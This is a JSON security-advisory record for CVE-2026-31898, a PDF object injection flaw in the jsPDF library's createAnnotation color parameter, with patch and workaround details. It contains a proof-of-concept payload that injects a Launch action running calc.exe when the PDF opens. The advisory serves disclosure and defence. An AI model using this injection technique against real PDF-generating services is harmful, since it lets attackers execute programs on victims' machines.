{"id":"GHSA-7x6v-j9x4-qf24","revision":"820c7a8e76754ea2acd983829b91ab6d","records":[{"revision":"820c7a8e76754ea2acd983829b91ab6d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-7x6v-j9x4-qf24","aliases":["CVE-2026-31898"],"title":"jsPDF has a PDF Object Injection via FreeText color","description":"### Impact\n\nUser control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects, such as JavaScript actions.\n\nIf given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..\n\n* `createAnnotation`: `color` parameter\n\nExample attack vector:\n\n```js\nimport { jsPDF } from 'jspdf'\n\nconst doc = new jsPDF();\n\nconst payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';\n\ndoc.createAnnotation({\n  type: 'freetext',\n  bounds: { x: 10, y: 10, w: 120, h: 20 },\n  contents: 'hello',\n  color: payload\n});\n\ndoc.save('test.pdf');\n```\n\n### Patches\n\nThe vulnerability has been fixed in jsPDF@4.2.1.\n\n### Workarounds\nSanitize user input before passing it to the vulnerable API members.","state":0,"publishedAt":"2026-03-17T17:07:51+00:00","modifiedAt":"2026-09-10T03:50:38.0396549+00:00","affected":[{"ecosystem":"npm","name":"jspdf","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.2.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/parallax/jsPDF/security/advisories/GHSA-7x6v-j9x4-qf24","https://nvd.nist.gov/vuln/detail/CVE-2026-31898","https://github.com/parallax/jsPDF/commit/4155c4819d5eca284168e51e0e1e81126b4f14b8","https://github.com/parallax/jsPDF","https://github.com/parallax/jsPDF/blob/b1607a9391d4cd65ea7ade25998aea8345ae1be3/src/modules/annotations.js#L193-L208","https://github.com/parallax/jsPDF/releases/tag/v4.2.1"],"sourceUrl":"https://github.com/advisories/GHSA-7x6v-j9x4-qf24","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-7x6v-j9x4-qf24","identifiers":["GHSA-7x6v-j9x4-qf24","CVE-2026-31898"]},"retained":false,"historicalAffected":[]}],"coverage":[]}